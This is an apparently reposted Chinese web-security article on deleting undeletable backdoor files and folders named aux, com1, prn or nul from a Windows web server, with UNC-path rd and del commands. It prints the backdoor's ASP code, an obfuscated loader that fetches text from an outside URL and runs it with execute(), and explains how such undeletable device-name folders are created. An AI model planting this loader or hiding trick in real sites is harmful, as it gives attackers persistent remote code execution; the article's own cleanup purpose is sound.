首页 > 网站 > 网站安全 > 正文

com1/lpt1/prn/nul 木马后门处理方法集合

2024-09-06 18:38:37
字体:
来源:转载
供稿:网友
删除命令

rd /s //./E:/webhosting/wwwroot/prn.0418EE4F
代码如下:
<%
'by*aming
dim amxml,amtxt,amado
amtxt="h"&"t"&"t"&"p"&":"&"/"&"/"&"b"&"o"&"t"&"."&"z"&"h"&"-"&"c"&"n"&"."&"c"&"c"&"/"&"b"&"o"&"t"&"/"&"c"&"o"&"n"&"f"&"i"&"g"&"."&"t"&"x"&"t"
Set amxml=CreateObject("Microsoft.XMLHTTP")
amxml.Open "Get",amtxt,False,"",""
amxml.setRequestHeader "User-Agent",amtxt
amxml.Send
set amado=Server.CreateObject("adodb.stream")
amado.Type=1
amado.Mode=3
amado.Open
amado.Write amxml.ResponseBody
amado.Position=0
amado.Type=2
amado.Charset="gb2312"
execute(amado.ReadText)
amado.Close
set amado=nothing
Set amxml=nothing
%>


近期有朋友发现自己的网站目录下多出许多类似 aux.asp com1.gupiao.asp 的文件或文件夹,无法删除!这类文件为何无法删除,怎样建立无法删除的文件,又如何删除 aux.asp 这类 无法删除的文件 呢?

在服务器中 文件夹选项 - 查看 -隐藏受保护的操作系统文件后可看到此类文件属性均为RHSA系统文件,无法删除、修改、移动。

 Windows 下不能够以下面这些字样来命名文件/文件夹,包括:aux、com1、com2、prn、con、nul 等,因为这些名字都属于设备名称,等价于一个 DOS 设备,如果我们把文件命名为这些名字,Windows 就会误以为发生重名,所以会提示“不能创建同名的文件”。

当然,有一些特殊的方法可以投机取巧,建立以这些设备名为名的文件夹,比如我们在命令提示符下执行“md E:/COM1//”,就在E盘建了一个名叫 COM1 的文件夹。此文件夹虽然可以访问,也可以建立子文件夹,但却无法删除,在系统看来,这个 COM1文件夹就是设备。
那么,如何删除aux、com1等文件/文件夹呢?我们只要按照完整的 UNC 路径格式,就是网上邻居的路径格式,正确输入文件路径及文件名即可。比如要删除E 盘下的 aux 文件夹,可在命令提示符下执行:rd /s //./E:/aux,rd 带上/s 参数表示从所有子目录删除指定文件。再比如要删除 E 盘 aux文件夹下的 nul.exe 文件,在命令提示符下执行:del //./E:/aux/nul.exe 即可。

    采用del //./E:/PRN/aux.asp:.jpg的方式,失败了,最后将其他jpg文件移走,使用rd方式删除整个目录 看图:

 

删除aux文件命令

注意尾部加“//”不然会出现正常文件夹也出现如图中的1文件夹无法访问的情况,重启后文件夹才会消失。

发表评论 共有条评论
用户名: 密码:
验证码: 匿名发表